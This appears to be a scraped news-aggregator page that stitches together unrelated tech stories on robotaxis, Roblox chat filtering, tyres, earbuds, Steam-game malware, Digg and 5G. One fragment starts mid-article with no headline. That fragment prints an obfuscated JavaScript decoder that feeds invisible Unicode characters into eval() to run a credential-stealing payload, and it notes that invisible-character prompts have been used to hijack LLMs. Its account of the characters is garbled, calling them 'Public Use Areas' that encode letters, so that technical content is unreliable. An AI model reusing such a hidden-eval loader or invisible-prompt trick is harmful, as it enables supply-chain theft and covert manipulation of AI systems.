Tech
Uber relaunches Motional robotaxis in Las Vegas
Two years after a brutal restructuring gutted Motional’s workforce and halted its commercial operations, the Hyundai-backed AV company is back on the Strip, still with a safety operator for now, but promising to remove one by the end of 2026.
Uber and Motional have relaunched a commercial robotaxi service in Las Vegas, making all-electric Motional IONIQ 5 vehicles available to riders across key locations on and around the Strip from 13 March 2026.
The service marks a significant milestone for Motional, which two years ago paused its commercial operations entirely, cut roughly 40% of its workforce, and was left fighting for its survival after co-founder Aptiv pulled its funding.
The relaunch is not yet fully driverless. Initially, Motional’s IONIQ 5 robotaxis will carry a human vehicle operator monitoring the road from the driver’s seat.
The company says it expects to remove the safety operator and begin a fully driverless service by the end of 2026, delivering on the target it set during its 2024 restructuring.
How the service works
Riders who request an UberX, Uber Electric, Uber Comfort, or Uber Comfort Electric may be matched with a Motional IONIQ 5 at no additional cost. When matched, a notification appears in the app giving riders the option to accept the autonomous vehicle or switch to a conventional ride.
Users who want to maximise their chances of getting an AV can opt in via the Ride Preferences section in their Uber app settings.
Once a robotaxi arrives, the vehicle can be unlocked and the trip started entirely through the Uber app.
Inside, audio cues prompt riders to close doors and fasten seatbelts. If support is needed at any point, a human assistance team is reachable through the Uber app.
At launch, the service covers designated rideshare zones along Las Vegas Boulevard at Resorts World Las Vegas and Encore at the Wynn, plus Westgate Las Vegas Resort & Casino, curbside locations in Downtown Las Vegas, and the Town Square shopping district near the airport.
Both companies say they plan to expand the operating area but did not give specifics.
The vehicle: SAE Level 4, FMVSS-certified
The IONIQ 5 robotaxi was co-developed by Motional and Hyundai Motor Group and is custom-built for ride-hail operations. According to Uber, it is one of the first SAE Level 4-capable autonomous vehicles to be certified under US Federal Motor Vehicle Safety Standards (FMVSS), the federal regulatory framework for motor vehicle equipment.
SAE Level 4 means the vehicle can handle all driving functions within a defined operational design domain without human intervention, though it does not require the capability to operate in all conditions everywhere.
“This milestone reflects our shared commitment to introduce autonomous vehicles in a way that prioritizes safety, increases reliability, and expands access to more ride options for our customers,” said Sarfraz Maredia, President of Autonomous Mobility & Delivery, Uber
Motional’s road back: from near-collapse to relaunch
The relaunch is the culmination of a turbulent two-year recovery. Motional was founded in 2020 as a $4 billion equal joint venture between Hyundai Motor Group and automotive technology company Aptiv.
It ran pilot rides in Las Vegas via Uber and Lyft and deliveries in Los Angeles via Uber Eats, all with a human safety operator present, and accumulated more than 130,000 autonomous rides through those programmes.
The company’s troubles crystallised in early 2024, when Aptiv announced it would stop allocating capital to the venture, citing the high cost of commercialising robotaxi technology and an uncertain path to profitability. Aptiv had forecast a non-cash equity loss of around $340 million for 2024 alone.
With Aptiv’s withdrawal threatening to destabilise the entire company, Hyundai stepped in with a near-$1 billion commitment: $475 million invested directly into Motional and $448 million to buy out 11% of Aptiv’s common equity interest. The restructuring left Hyundai with approximately 85% of Motional’s common equity and Aptiv with 15%.
The funding came with painful conditions. Motional halted all commercial rides and deliveries, paused plans to launch its second-generation driverless service, and cut approximately 550 staff, around 40% of its total workforce, across teams in Las Vegas, Pittsburgh, California, and Massachusetts. T
he company pivoted to focus exclusively on improving its underlying autonomous technology, including a shift toward a more neural network-driven approach to autonomy, before attempting any new commercial deployment.
Motional returned to fundraising in August 2025 with a $550 million Series B round led by Aptiv and joined by Hyundai and Nuance Investments, which boosted its valuation to $6.5 billion. That capital, combined with the technology rebuild, underpins today’s relaunch.
A busy week for Uber’s autonomous ambitions
The Las Vegas launch is not a standalone announcement. In the same week, Uber confirmed a deal with Zoox, Amazon’s autonomous vehicle subsidiary, to deploy Zoox’s purpose-built robotaxis on the Uber platform, initially in Las Vegas from summer 2026, followed by Los Angeles in mid-2027.
Uber and Wayve also announced a collaboration with Nissan on a robotaxi pilot in Tokyo, targeted for late 2026, which would be Uber’s first autonomous vehicle partnership in Japan.
Uber says it is currently working with more than 25 autonomous vehicle partners across its Mobility, Delivery, and Freight divisions. The company announced earlier in 2026 that it plans to invest more than $100 million in charging infrastructure for autonomous vehicles.
Its autonomous solutions division, launched in February 2026 under Maredia’s oversight, is focused on helping AV technology companies commercialise their deployments faster by providing demand generation, rider experience, customer support, and fleet management services.
For Motional, the Las Vegas service is both a proof point and a pressure test. The company’s technology, rebuilt and retrained in the background since 2024, now faces its first sustained real-world commercial deployment with paying riders.
The invisible code is rendered with Public Use Areas (sometimes called Public Use Access), which are ranges in the Unicode specification for special characters reserved for private use in defining emojis, flags, and other symbols. The code points represent every letter of the US alphabet when fed to computers, but their output is completely invisible to humans. People reviewing code or using static analysis tools see only whitespace or blank lines. To a JavaScript interpreter, the code points translate into executable code.
The invisible Unicode characters were devised decades ago and then largely forgotten. That is, until 2024, when hackers began using the characters to conceal malicious prompts fed to AI engines. While the text was invisible to humans and text scanners, LLMs had little trouble reading them and following the malicious instructions they conveyed. AI engines have since devised guardrails that are designed to restrict usage of the characters, but such defenses are periodically overridden.
Since then, the Unicode technique has been used in more traditional malware attacks. In one of the packages Aikido analyzed in Friday’s post, the attackers encoded a malicious payload using the invisible characters. Inspection of the code shows nothing. During the JavaScript runtime, however, a small decoder extracts the real bytes and passes them to the eval() function.
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));“The backtick string passed to s() looks empty in every viewer, but it’s packed with invisible characters that, once decoded, produce a full malicious payload,” Aikido explained. “In past incidents, that decoded payload fetched and executed a second-stage script using Solana as a delivery channel, capable of stealing tokens, credentials, and secrets.”
Since finding the new round of packages on GitHub, the researchers have found similar ones on npm and the VS Code marketplace. Aikido said the 151 packages detected are likely a small fraction spread across the campaign because many have been deleted since first being uploaded.
The best way to protect against the scourge of supply-chain attacks is to carefully inspect packages and their dependencies before incorporating them into projects. This includes scrutinizing package names and searching for typos. If suspicions about LLM use are correct, malicious packages may increasingly appear to be legitimate, particularly when invisible unicode characters are encoding malicious payloads.
from the maintaining-civility-and-gameplay-flow dept
The power of the latest generation of AI systems is such that previously impractical applications are not just possible, but scalable. For example, moving beyond basic early AI text translation tools, it is now possible to use live translation to communicate in another language in real time. For many people that will be a real boon, especially when they are traveling. But here’s something that is likely to prove more controversial: real-time rephrasing of profanity within chat. It’s a new AI-powered feature from Roblox that is designed to “keep gameplay fluid while maintaining civility within chat”:
Roblox is leveraging AI to automatically rephrase profanity. Rather than displaying only hashmarks, filtered text will be translated into more respectful language that remains closer to the user’s original intent. For example, a message that violates Roblox’s profanity policies, such as “Hurry TF up!” would previously have appeared as “####” within experience chat. That will now be rephrased to “Hurry up!” This new layer is designed to maintain civility by rephrasing the language and replacing “stop signs” with real-time guidance.
Specifically:
When a message violates Roblox’s profanity policy, everyone in the chat is notified that the text has been rephrased to keep things civil. While rephrasing reduces some of the disruption in the chat, Roblox’s multilayered safety system remains in effect for more serious behavior. Rephrasing is available exclusively for in-experience chat between age-checked users in similar age groups and is supported in all languages currently available through Roblox’s automatic translation tools.
Alongside this new AI-based capability, Roblox is also tweaking its text filtering system:
Early results from Roblox’s testing show significant improvements in detecting leet-speak, or letters replaced with numbers or symbols, and more sophisticated attempts to bypass filters.
Parents may applaud real-time rephrasing as a way for the service to nudge younger users away from bad language in their interaction with others, without stopping them playing altogether. But it creates a dangerous proof of concept that others may build on, particularly in jurisdictions that want stricter controls on what people say online.
It’s easy to imagine situations where Chinese AI systems, for example, rephrase people’s language on social media in real time to promote “social harmony”. Not only the style but even the content’s details could be subtly changed away from controversy towards conformity. It would be possible for rephrasing to be visible only to others, so the person making a comment might not even be aware that their words were being subverted in this way. Something similar is already happening with Chinese AI chatbots that censor their own answers, without acknowledging that fact. As Chinese AI companies become increasingly important players in the online world, this kind of covert rephrasing by them — and others — is another issue people will need to watch out for in our brave new AI world.
Follow me @glynmoody on Bluesky and on Mastodon.
Filed Under: ai, chat, chatbots, china, civility, filters, gameplay, leet-speak, profanity
Companies: roblox
As well as owning a surprisingly large range of other tire brands, Michelin also makes a broad range of top-rated tires that are sold under its own brand. One Michelin tire model that gets consistently good reviews is the Pilot Sport 5. It’s an ultra-high performance summer tire, and as well as being impressive on a dry road, it’s also highly rated in wet conditions. However, recent testing data gathered by AutoBild and published by TyreReviews shows that it might not be the very best tire for anyone looking for maximum braking performance.
The 2026 study compared a wide range of 245/45 R19 tires that were fitted to a BMW 5 Series, with the magazine testing their stopping distance in both wet and dry conditions to get a more rounded picture of their performance. The Michelin Pilot Sport 5 tires did perform well in the study, earning a ninth place finish out of 50 tested tires.
However, their stopping distances proved to be a little longer than the very top finishers. From 62 mph, it took the Michelin tires 34.4 meters (112.9 feet) to bring the BMW test vehicle to a stop in dry conditions. A wet conditions test recorded a stopping distance of 27.7 meters (90.9 feet) from 50 mph to standstill.
Several other big brands beat Michelin in the test
Rival performance tire models such as the Hankook Ventus Evo, Nexen N’Fera Sport SU2, and Kumho Ecsta Sport PS72 all needed a shorter distance to stop the car in both wet and dry conditions than the Michelin tires. They took the second, third, and fourth spots in the overall rankings, respectively. However, the first place spot was taken by an unlikely candidate.
Performing exceptionally well in both the wet and dry conditions was the Sport Master tire model by Chinese tire maker Linglong, making it the overall first place finisher in the mass tire test. It posted the third smallest stopping distance in the dry conditions test, and the smallest stopping distance in the wet conditions test. Unlike the other top performers in the study, Linglong isn’t a big name in the U.S., although it has been distributing tires through its North American division for more than two decades.
Linglong manufactures tires in both Thailand and Serbia, although the U.S. Customs and Border Protection agency blocked the import of Linglong tires made in its Serbian factory in December 2025. According to the agency’s statement, this was due to allegations of forced labor in its production process.
Outside of the AutoBild braking test, overall user reviews about the quality of Linglong tires are less than stellar, and plenty of owners say it’s worth avoiding the brand altogether. Given the alleged quality and ethical issues associated with Linglong tires, the Hankook, Nexen, and Kumho models are arguably better choices overall, since they should still prove very effective when braking in both wet and dry conditions.
Video Friday is your weekly selection of awesome robotics videos, collected by your friends at IEEE Spectrum robotics. We also post a weekly calendar of upcoming robotics events for the next few months. Please send us your events for inclusion.
ICRA 2026: 1–5 June 2026, VIENNA
Enjoy today’s videos!
All legged robots deployed “in the wild” to date were given a body plan that was predefined by human designers and could not be redefined in situ. The manual and permanent nature of this process has resulted in very few species of agile terrestrial robots beyond familiar four-limbed forms. Here, we introduce highly athletic modular building blocks and show how they enable the automatic design and rapid assembly of novel agile robots that can “hit the ground running” in unstructured outdoor environments.
[ Northwestern UniversityCenter for Robotics and Biosystems ] [ Paper ] via [ Gizmodo ]
If you were going to develop the ideal urban delivery robot more or less from scratch, it would be this.
[ RIVR ]
Don’t get me wrong, there are some clever things going on here, but I’m still having a lot of trouble seeing where the unique, sustainable value is for a humanoid robot performing these sorts of tasks.
[ Figure ]
One of those things that you don’t really think about as a human, but is actually pretty important.
[ Paper ] via [ ETH Zurich ]
We propose TRIP-Bag (Teleoperation, Recording, Intelligence in a Portable Bag), a portable, puppeteer-style teleoperation system fully contained within a commercial suitcase, as a practical solution for collecting high-fidelity manipulation data across varied settings.
[ KIMLAB ]
We propose an open-vocabulary semantic exploration system that enables robots to maintain consistent maps and efficiently locate (unseen) objects in semi-static real-world environments using LLM-guided reasoning.
[ TUM ]
That’s it folks, we have no need for real pandas anymore—if we ever did in the first place. Be honest, what has a panda done for you lately?
[ MagicLab ]
RoboGuard is a general-purpose guardrail for ensuring the safety of LLM-enabled robots. RoboGuard is configured offline with high-level safety rules and a robot description, reasons about how these safety rules are best applied in robot’s context, then synthesizes a plan that maximally follows user preferences while ensuring safety.
[ RoboGuard ]
In this demonstration, a small team responds to a (simulated) radiation contamination leak at a real nuclear reactor facility. The team deploys their reconfigurable robot to accompany them through the facility. As the station is suddenly plunged into darkness, the robot’s camera is hot-swapped to thermal so that it can continue on. Upon reaching the approximate location of the contamination, the team installs a Compton gamma-ray camera and pan-tilt illuminating device. The robot autonomously steps forward, locates the radiation source, and points it out with the illuminator.
[ Paper ]
On March 6th, 2025, the Robomechanics Lab at CMU was flooded with 4 feet of black water (i.e. mixed with sewage). We lost most of the robots in the lab, and as a tribute my students put together this “In Memoriam” video. It includes some previously unreleased robots and video clips.
[ Carnegie Mellon University Robomechanics Lab ]
There haven’t been a lot of successful education robots, but here’s one of them.
[ Sphero ]
The opening keynote from the 2025 Silicon Valley Humanoids Summit: “Insights Into Disney’s Robotic Character Platform,” by Moritz Baecher, Director, Zurich Lab, Disney Research.
[ Humanoids Summit ]
From Your Site Articles
Related Articles Around the Web
Verdict
If what you really want is an inexpensive set of earbuds with the novelty of a screen, the Groov-e Neos are some of your only options with this functionality. They’re decently comfortable, have some ANC, and the screen serves some purpose. However, you can do a lot better in terms of audio performance, even at this cheaper end of the market.
-
Screen has some interesting functions -
Solid comfort for extended listening -
Decent battery life
-
Very bassy audio by default -
Poor ANC
Key Features
-
Screen
Touchscreen LCD with built-in apps for EQ, volume, and even a game. -
Lightweight
The Neo’s buds weigh just 6g, making them especially light. -
Battery life
6 hours from buds, up to 22 hours with charging case.
Introduction
The world of cheap earbuds can be a bit of a gimmick-filled one, although when I saw this set of earbuds with a screen in the case – the Groov-e Neo – I just had to take a look. Okay, I’m a sucker.
Apple had been rumoured to make a set of AirPods with a screen in the case for Apple Music once upon a time, and JBL had a go a few years ago with the JBL Tour Pro 2 and JBL Tour Pro 3 models.
I think this marks the first time I’ve seen a screen in any guise on a set of earbuds that are this affordable, though. The Neo Buds are just £39.99, although you can pick them up closer to £30. That’s very inexpensive for a set of noise-cancelling buds, too, with close rivals such as the Final Audio ZE300 providing a similar feature set, sans screen, for a similar price tag.
Whether these screentastic Groov-e buds can do enough to earn a place in our ranking of the best cheap earbuds remains to be seen – I’ve been putting them through their paces to find out.
Design
- There’s a large screen on the front
- Reasonable build quality
- Comfortable, if slightly unsecure fit
In spite of the novelty screen on the front, the Neo doesn’t differ too much in design from a lot of modern earbuds. We’ve got a rounded case that’s a little squatter and wider than JBL’s screen-based buds, and as with a lot of more affordable choices, it’s giving some major AirPods energy.
As you might expect, the build quality isn’t the last word in premium, but it’s more than fine for the asking price. The case and the earbuds themselves have a lightweight feel in hand, although I am impressed with the heavier weight of the case’s hinge and soft-close action.
Colour choices for the Neo are either black or a sand-type beige. My sample came in the latter, which I think looks better, and make these different in look to some of their rivals. The case here even comes with an integrated wrist strap if you want to sling the buds around your wrist.
The earbuds themselves weigh in at just six grams each, making them especially light, and they take the AirPods-style form factor with a fit that means the end piece dangles out of your ears, rather than the twist-and-push fit of others.
With the default tips on, they’re reasonably comfortable and non-fatiguing for a couple of hours, although I don’t think the fitment is as secure as it could be, nor is the seal provided that brilliant.
There isn’t an IP rating for the Neo Buds listed, so I wouldn’t necessarily use them for any workouts or anywhere you might be near water.
Features
- Screen feels like a novelty
- Noise cancellation is just okay
- Reasonable battery life for the price
The big thing with the Neo Buds (let’s face it, it’s hard to ignore) is the screen that adorns the front of the case. As with the dearer alternative from JBL, it provides a means of controlling music and even the earbuds’ functions without needing to dig out your phone.
It’s a touchscreen display that’s okay in terms of responsiveness, that provides access to features such as music playback, EQ settings, Bluetooth pairing, ANC control, a ‘find’ mode and even more novelty elements such as use as a ‘flashlight’ (it turns the screen white), a Calendar and a stopwatch. There’s even a fake Flappy Bird game you can play if you want to.
Barring the music controls and such, I’m not entirely convinced of its utility. It’s quite a dim screen, and some of the functions didn’t work as intended.
For instance, the camera control turned my volume down, and the screen itself has a black triangle in the bottom left corner that makes some text difficult to read. For some reason, the Neo Buds also started randomly whistling or making noises when I took them out of the case, and the loud noise when swiping on the screen can get annoying very quickly.
For a cheap set of buds, the active noise cancellation is a bonus, although that’s about as good as I can describe it. It isn’t enabled by default, so you’ll need to swipe your way through the screen to enable it. When you do, it dampens more than envelopes me in silence, and things such as my mechanical keyboard and nearby chatter on a train into London were still audible, even if I had my music turned up a smidgen louder than I should.
Connectivity is handled by Bluetooth 6.0, although I didn’t find they supported any form of multipoint Bluetooth if you wanted to listen on more than one device at the same time. Pairing them with my Honor Magic V3 was at least reasonably easy – flip open the case and hold down on the pairing button on the case until they hook up to your device.
Battery life is rated up to 22 hours total from the buds and case, which is perfectly cromulent for a set of affordable buds. It’s in and around the same as Final’s choice, and means you’ll get a couple of full days of listening before needing to recharge. For reference, it’s six hours from the buds and a further 16 from the charging case.
Sound Quality
- Very heavy-handed with the bass by default
- Lacking in detail and width
- EQ presets make things somewhat better
If the likes of the Final Audio ZE300 are more reference-style earbuds at this price, then the Neos are the musical equivalent of somebody hitting you over the head with a sledgehammer. By default, I found them to be very bass-heavy to the point that it encroached too much on the rest of any tracks I listened to.
For instance, even in spinning up mellower, acoustic-driven tracks such as Down The Road from Mac McAnally, there seemed quite the imbalance between the pounding low-end frequencies and his lighter vocal, and the track’s inflexions of acoustic guitar.
Granted, it works better for my rotation of heavier rock tracks, such as Rush’s YYZ, although the song’s bass runs still overtook most of the other substance that was here. With a narrower soundstage, I also found that a lot of the sound to meld together into one, making it a less enjoyable listen.
To boot, vocals from the likes of James Taylor’s October Road felt very much pushed back in the mix against the bass, leaving a fair amount of clarity, depth and detail on the table. The song’s top-end percussion elements also lacked a certain sparkle and attack, feeling too smoothed over; it was a similar story with Steely Dan’s Do It Again.
You’ll get better mileage out of the Neos if you enable the ‘Popular’ EQ setting from the screen. This seems to even things out a smidgen, bringing vocals and the associated mid-range a little more into play, and lessening the looming threat of the low end. If you decide to use the Neo Buds, make changing the EQ preset a matter of urgency.
Should you buy it?
The novelty of the Neo Buds is the screen, and if you want the fun of it on an inexpensive set of noise-cancelling earbuds, then these hit the spot.
The default sound signature of the Neo is far too bass-heavy to make it an enjoyable listen, and EQ presets can only do so much to help out.
Final Thoughts
If what you really want is an inexpensive set of earbuds with the novelty of a screen, the Groov-e Neo Buds are some of your only options with this functionality. They’re decently comfortable, have ANC, and the screen serves a purpose. However, you can do a lot better in terms of audio performance, even at this end of the market.
For instance, the Final Audio ZE300 carry the same RRP, and have more of a balanced and neutral sound, plus more capable ANC and better build quality. If ANC isn’t too much of a concern, then also consider the Sony WF-C510 with an extensive app and longer battery life. For more choices, check out the list of the best cheap earbuds.
How We Test
We test every pair of headphones we review thoroughly over an extended period of time. We use industry-standard tests to compare features properly. We’ll always tell you what we find. We never, ever, accept money to review a product.
Find out more about how we test in our ethics policy.
- Tested for two weeks
- Tested with real world use
- Battery life test carried out
FAQs
Yes, the Groov-e Neo has ANC, or active noise cancelling.
Full Specs
| Groov-e Neo Buds Review | |
|---|---|
| UK RRP | £39.99 |
| Manufacturer | Groov-e |
| IP rating | Not Disclosed |
| Battery Hours | 22 |
| Weight | 140 G |
| ASIN | B0G585W5P6 |
| Release Date | 2026 |
| First Reviewed Date | 12/03/2026 |
| Driver (s) | 9mm drivers |
| Noise Cancellation? | Yes |
| Connectivity | Bluetooth 6.0 |
| Colours | Black, Sand |
| Frequency Range | 20 20000 – Hz |
| Headphone Type | True Wireless |
Tech
The Beats Studio Pro just dropped to $169, and at 51% off this is the noise-canceling deal of the moment
The Beats Studio Pro is down to $169.95 at Amazon right now in a limited-time deal, which is $180 off the $349.99 list price. That’s a 51% cut on a pair of over-ear headphones that offer active noise canceling, 40-hour battery life, and USB-C lossless audio in a package that works equally well with Apple and Android devices. It’s a lot to like at under $170.
What you’re getting
The Studio Pro is the most fully featured headphone Beats has put out, and a lot of that comes down to the USB-C lossless audio capability, which is a genuine differentiator at this price. When wired, you’re bypassing Bluetooth compression entirely and getting a cleaner signal, which matters if you’re connecting to a laptop or a device with a USB-C port and care about audio quality beyond casual listening.
Wireless performance is covered by both Bluetooth 5.3 and Apple’s proprietary one-tap pairing, so switching between an iPhone and an Android device is straightforward rather than a hassle. The active noise canceling handles everyday environments well, and the transparency mode is useful enough to actually use rather than ignore. Battery life sits at 40 hours with ANC off and around 24 hours with it on, either of which is comfortably above average for this category.
The build is comfortable for extended wear, with plush ear cushions and an adjustable headband that doesn’t feel cheap. Beats has cleaned up the design considerably from earlier Studio models, and the result is a headphone that travels well and looks the part.
Why it’s worth it
At $349.99, the Studio Pro has to justify itself against the Sony WH-1000XM5 and Bose QuietComfort 45, and that’s a hard conversation. At $169.95, it’s operating in a different bracket entirely, and nothing else at this price matches the combination of lossless wired audio, solid ANC, and seamless dual-ecosystem compatibility. This is a limited-time price, so it’s worth moving on sooner rather than later.
The bottom line
The Beats Studio Pro at $169.95 is one of the more well-rounded headphone deals available right now. You’re getting ANC, 40-hour battery life, USB-C lossless audio, and broad device compatibility at half the usual asking price, which is the kind of discount that makes this an easy call before the deal expires.
The FBI is asking gamers who installed Steam titles containing malware to provide information as part of an ongoing investigation into eight malicious games uploaded to the gaming platform.
In a notice published today by the FBI’s Seattle Division, the agency said it is attempting to identify individuals who were affected after installing one of the malicious games on Steam between May 2024 and January 2026.
“The FBI’s Seattle Division is seeking to identify potential victims installing Steam games embedded with malware. The FBI believes the threat actor primarily targeted users between the timeframe of May 2024 and January 2026,” reads the notice.
“In the investigation, several games have been identified to include, BlockBlasters, Chemia, Dashverse/DashFPS, Lampy, Lunara, PirateFi, and Tokenova.”
“If you and/or your minor dependent(s) were victimized from installing one of these games or have information relevant to this investigation, please fill out this short form.”
The questionnaire indicates that the FBI is focused on cryptocurrency theft and account hijacks after the installation of the malware, asking questions about cryptocurrency transactions, compromised accounts, and stolen funds.
The form also asks for any screenshots of communications with individuals who promoted the games, which could help investigators track the stolen cryptocurrency and trace it to those who distributed the malware.
“The FBI is legally mandated to identify victims of federal crimes it investigates. Victims may be eligible for certain services, restitution, and rights under federal and/or state law. All identities of victims will be kept confidential,” the FBI told BleepingComputer.
“The website and email listed in the mass notifications sent on March 12, 2026, are official and authorized by the FBI. At this time, the FBI is unable to provide specific details beyond the information referenced on the website in the email notification to customers.”
The FBI is also asking anyone who knows someone who may have been affected to encourage them to submit an inquiry to Steam_Malware@fbi.gov.
BleepingComputer also sent questions to Valve about the investigation, but did not receive a reply to our email.
Malware hidden in Steam games
Multiple malicious games discovered on Steam over the past two years have distributed information-stealing malware designed to harvest credentials, cryptocurrency wallets, and other sensitive data from players’ devices.
One of the most notable cases involved BlockBlasters, a free-to-play 2D platformer available on Steam from July to September 2024. While initially uploaded to Steam as a clean program, cryptodrainer malware was later added to the game.
News that the Steam game was malicious was revealed during a livestream by video game streamer Raivo Plavnieks (RastalandTV), who was raising money for cancer treatment.
After downloading the verified Steam game, the streamer reported losing more than $32,000 from his cryptocurrency wallet.
Blockchain investigator ZachXBT later estimated that attackers stole roughly $150,000 from 261 Steam accounts. Cybersecurity researcher VX-Underground later reported a higher count of 478 victims.
In the malicious Chemia survival crafting game, a threat actor known as EncryptHub added the HijackLoader malware, which downloaded the Vidar information stealer. It was later discovered that the game also installed EncryptHub’s custom Fickle Stealer malware, which steals credentials, browser data, cookies, and cryptocurrency wallets.
The PirateFi game also distributed the Vidar infostealer and was available on Steam for about a week in February 2025. Up to 1,500 users may have downloaded the game before it was removed from Steam.
Steam later warned players who launched the game that malicious files may have been executed on their computers and advised them to run antivirus scans, review installed software, and consider reinstalling their operating system.
Malware is getting smarter. The Red Report 2026 reveals how new threats use math to detect sandboxes and hide in plain sight.
Download our analysis of 1.1 million malicious samples to uncover the top 10 techniques and see if your security stack is blinded.
Looking for the most recent Strands answer? Click here for our daily Strands hints, as well as our daily answers and hints for The New York Times Mini Crossword, Wordle, Connections and Connections: Sports Edition puzzles.
Does today’s date seem memorable to you? If so, today’s NYT Strands puzzle might be easy. Some of the answers are difficult to unscramble, so if you need hints and answers, read on.
I go into depth about the rules for Strands in this story.
If you’re looking for today’s Wordle, Connections and Mini Crossword answers, you can visit CNET’s NYT puzzle hints page.
Read more: NYT Connections Turns 1: These Are the 5 Toughest Puzzles So Far
Hint for today’s Strands puzzle
Today’s Strands theme is: A math teacher’s favorite dessert.
If that doesn’t help you, here’s a clue: 3.14
Clue words to unlock in-game hints
Your goal is to find hidden words that fit the puzzle’s theme. If you’re stuck, find any words you can. Every time you find three words of four letters or more, Strands will reveal one of the theme words. These are the words I used to get those hints but any words of four or more letters that you find will work:
- RITE, SPIT, TIPS, STAT, STATE, GIVE, RUST, FINE, LAZE, SURE, PEAL
Answers for today’s Strands puzzle
These are the answers that tie into the theme. The goal of the puzzle is to find them all, including the spangram, a theme word that reaches from one side of the puzzle to the other. When you have all of them (I originally thought there were always eight but learned that the number can vary), every letter on the board will be used. Here are the nonspangram answers:
- VENT, CRUST, FRUIT, EDGES, GLAZE, FILLING, LATTICE
Today’s Strands spangram
The completed NYT Strands puzzle for March 14, 2026.
Today’s Strands spangram is HAPPYPIDAY. To find it, start with the H that’s six rows down and three to the right from the upper-left corner, and make — well, a pie shape.
sdinfoserv writes: After running a Reddit clone for a couple of months, the Digg beta shut down again. The website is a splash memo from CEO Justin Mezzell, blaming the latest “Hard Reset” on bots. “Building on the internet in 2026 is different,” writes Mezzell. “We learned that the hard way. Today we’re sharing difficult news: we’ve made the decision to significantly downsize the Digg team…”
The decision was made after struggling to gain traction and an overwhelming influx of AI-driven bots and spam. “When the Digg beta launched, we immediately noticed posts from SEO spammers noting that Digg still carried meaningful Google link authority,” says Mezzell. “Within hours, we got a taste of what we’d only heard rumors about. The internet is now populated, in meaningful part, by sophisticated AI agents and automated accounts. We knew bots were part of the landscape, but we didn’t appreciate the scale, sophistication, or speed at which they’d find us.”
“We banned tens of thousands of accounts. We deployed internal tooling and industry-standard external vendors. None of it was enough. When you can’t trust that the votes, the comments, and the engagement you’re seeing are real, you’ve lost the foundation a community platform is built on.”
Despite the setback, Digg plans to rebuild with a smaller team, with founder Kevin Rose returning to work full-time on a new direction for the platform. “Starting the first week of April, Kevin will be putting his focus back on the company he built twenty+ years ago,” writes Mezzell. “He’ll continue as an advisor to True Ventures, but Digg will be his primary focus.”
Slashback: The Rise of Digg.com
“5G” is an umbrella term that encompasses the current fifth-generation cellular wireless network technologies. All the major carriers and phones support 5G connections, which can offer faster data speeds than older technologies such as 4G LTE or 3G.
Essentially there are three types of 5G: Millimeter-wave (mmWave), which can be fast but has limited range; low-band 5G, which has slower speeds but works on a broader range; and midband, which is a balance between the two that’s faster than low-band but also covers a larger range than millimeter-wave. Midband also incorporates C-band, a batch of spectrum auctioned off by the Federal Communications Commission in 2021.
Your phone’s 5G connection depends on which type blankets the area you’re in, as well as other factors, such as population density and infrastructure. For instance, mmWave is super fast, but its signals can be thwarted by buildings, glass, leaves, or by being inside of a structure.
When your device is connected to a 5G network, it can show up as several variations such as 5G, 5G Plus, 5G UW or others, depending on the carrier. Here’s a list of icons you see at the top of your phone for the major services:
AT&T: 5GE (which isn’t actually 5G, but rather a sly marketing name for 4G LTE), 5G (low band), 5G Plus (mmWave, midband)
Verizon: 5G (low band, also called “Nationwide 5G”), 5G UW/5G UWB (midband and mmWave, also called “5G Ultra Wideband”)
T-Mobile: 5G (low band), 5G UC (midband and mmWave, also called “Ultra Capacity 5G”)
There’s also 5G Reduced Capacity (5G RedCap), which is a lower-power, smaller-capacity branch of 5G used by devices such as smartwatches and portable health devices; the Apple Watch Ultra 3, for example, connects via 5G RedCap.
Just around the corner is 5G Advanced, promising much faster speeds due to carrier aggregation, or combining multiple spectrums.
Death in Paradise confirms Gary Wilmot’s return in tense murder plot
'We're not profiteering on fuel. But my staff still face abuse'
French Hill says CLARITY Act could fix gaps left by GENIUS Act
-
News Videos4 days ago10th Algebra | Financial Planning | Question Bank Solution | Board Exam 2026
-
Tech3 days agoA 1,300-Pound NASA Spacecraft To Re-Enter Earth’s Atmosphere
-
Crypto World4 days agoParadigm, a16z, Winklevoss Capital, Balaji Srinivasan among investors in ZODL
-
Business3 days agoExxonMobil seeks to move corporate registration from New Jersey to Texas
-
Tech3 days agoChatGPT will now generate interactive visuals to help you with math and science concepts
-
Sports6 days agoThree share 2-shot lead entering final round in Hong Kong
-
Sports6 days agoBraveheart Lakshya downs Lai in epic battle to enter All England Open final | Other Sports News
-
NewsBeat2 days agoResidents reaction as Shildon murder probe enters second day
-
Fashion5 hours agoWeekend Open Thread: Addict Lip Glow
-
Entertainment7 days agoHailey Bieber Poses For Sexy Selfies In New Luscious Lip Thirst Traps
-
Business5 days agoSearch for Nancy Guthrie Enters 37th Day as FBI Probes Wi-Fi Jammer Theory
-
Business3 days agoSearch Enters Sixth Week With New Leads in Tucson Abduction Case
-
NewsBeat4 days agoPagazzi Lighting enters administration as 70 jobs lost and 11 stores close across Scotland
-
Tech4 days agoDespite challenges, Ireland sixth in EU for board gender diversity
-
Business4 days agoSearch Enters 39th Day with FBI Tip Line Developments and No Major Breakthroughs
-
NewsBeat2 days agoI Entered The Manosphere. Nothing Could Prepare Me For What I Found.
-
Business7 days agoIran war enters second week as Trump demands ’unconditional surrender’
-
Sports5 days agoSkateboarding World Championships: Britain’s Sky Brown wins park gold
-
Crypto World3 days agoWill Chainlink price reclaim $10 amid volatility squeeze?
-
Sports5 days agoTomorrow’s Top 25 Today: Florida jumps to No. 4; Louisville, Wisconsin enter projected rankings